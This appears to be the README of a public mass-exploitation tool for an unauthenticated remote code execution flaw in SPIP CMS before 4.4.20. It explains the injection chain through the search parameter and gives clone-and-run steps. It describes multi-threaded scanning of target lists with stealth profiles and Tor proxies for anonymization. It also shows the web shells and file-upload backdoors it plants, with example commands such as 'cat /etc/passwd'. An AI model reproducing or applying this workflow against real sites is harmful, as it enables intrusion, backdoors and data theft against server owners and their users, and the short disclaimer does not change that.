
SPIP before 4.4.20 allows unauthenticated remote attackers to execute arbitrary code
SPIP before 4.4.20 allows unauthenticated remote attackers to execute arbitrary code
Pre-Authentication Remote Code Execution in SPIP CMS β All Versions Before 4.4.20
CVE-2026-77647 is a critical unauthenticated remote code execution (RCE) vulnerability affecting all versions of SPIP CMS prior to 4.4.20.
The flaw allows a remote attacker β without any authentication or user interaction β to execute arbitrary PHP code on the target server. It was actively exploited in the wild starting in August 2026, prompting an emergency patch by the SPIP team.
This tool automates the detection and exploitation of this vulnerability across multiple targets with configurable concurrency.
| Field | Details |
|---|---|
| CVE ID | CVE-2026-77647 |
| Affected Software | SPIP CMS |
| Affected Versions | All versions before 4.4.20 |
| Type | Unauthenticated Remote Code Execution (RCE) |
| CWE | CWE-94 β Improper Control of Generation of Code (Code Injection) |
| CVSS 3.1 Score | 9.8 / 10 β CRITICAL |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authentication | None required (Pre-Auth) |
| Exploitation | Actively exploited in the wild (August 2026) |
| Patch | SPIP 4.4.20 (Advisory) |
| Metric | Value | Meaning |
|---|---|---|
| Attack Vector | Network | Exploitable remotely over the internet |
| Attack Complexity | Low | No special conditions required |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No victim action required |
| Scope | Unchanged | Impact limited to the vulnerable system |
| Confidentiality | High | Full read access to all data |
| Integrity | High | Full write / modify access |
| Availability | High | Complete denial of service possible |
The vulnerability stems from two interacting issues in the SPIP template engine:
Incorrect <?php block identification β SPIP's template engine fails to properly sanitize PHP opening tags within user-controlled input, specifically in the search (recherche) parameter.
var_export mishandling β PHP's var_export() function mishandles certain edge cases, particularly when the input contains the < character, allowing the injection of executable PHP code.
User Input (recherche) β var_export β X-Spip-Filtre: html_entity_decode β PHP eval
The attacker sends a crafted payload through the SPIP search functionality (?page=recherche&recherche=PAYLOAD). The payload abuses the X-Spip-Filtre HTTP header mechanism to trigger html_entity_decode, which decodes the injected PHP code. The decoded code is then evaluated by SPIP's template rendering engine, achieving arbitrary code execution.
ββββββββββββββββββββββββ
β Attacker Machine β
ββββββββββββ¬ββββββββββββ
β
β GET /spip.php?page=recherche&recherche=<PAYLOAD>
βΌ
ββββββββββββββββββββββββ
β SPIP Application β
β β
β 1. Receives search β
β 2. var_export() βββββ Mishandles '<' character
β 3. X-Spip-Filtre βββββ html_entity_decode
β 4. Template eval βββββ Executes injected PHP
β β
ββββββββββββ¬ββββββββββββ
β
β file_put_contents() β PHP Web Shell
βΌ
ββββββββββββββββββββββββ
β Web Shell Active β
β Full RCE Achieved β
ββββββββββββββββββββββββ
git clone https://github.com/Nxploited/CVE-2026-77647.git
cd CVE-2026-77647
pip install requests
Create a file named list.txt (or any custom name) with one target per line:
https://target1.com
https://target2.com
http://192.168.1.100
target3.com
Note: Targets without a scheme (
http://orhttps://) will default tohttp://.
python CVE-2026-77647.py
The tool will prompt you for:
[?] Target list (default: list.txt): list.txt
[?] Speed (1-4, default: 2):
| Speed | Threads | Timeout | Profile |
|---|---|---|---|
1 β Slow | 5 | 25s | π Stealth |
2 β Normal | 10 | 15s | βοΈ Balanced |
3 β Fast | 25 | 12s | β‘ Aggressive |
4 β Ultra | 50 | 10s | π₯ Maximum |
[?] Proxy (blank = none): socks5://127.0.0.1:9050
Supports HTTP/HTTPS/SOCKS proxies for anonymization.
Successful results are saved to shells.txt:
https://target.com/img_cache.php?k=nXk&c=id
https://target.com/Nx_.php?k=nXk
Command Execution:
https://target.com/img_cache.php?k=nXk&c=whoami
https://target.com/img_cache.php?k=nXk&c=cat /etc/passwd
File Upload Interface:
https://target.com/Nx_.php?k=nXk
Composed-By header and page fingerprintingIMG/, tmp/, and local/ directoriesThis tool is provided strictly for educational purposes and authorized security research only.
Usage of this tool against systems without explicit written permission from the system owner is illegal and may violate local, national, and international laws including but not limited to the Computer Fraud and Abuse Act (CFAA), UK Computer Misuse Act, and equivalent legislation in other jurisdictions.
The author assumes no liability and is not responsible for any misuse, damage, or illegal activity caused by this tool. By using this tool, you agree that:
- You have obtained proper authorization before testing any target
- You accept full responsibility for your actions
- You will comply with all applicable laws and regulations
- You understand that unauthorized access to computer systems is a criminal offense
Use responsibly. Hack ethically.
By: Khaled Alenazi
@Nxploited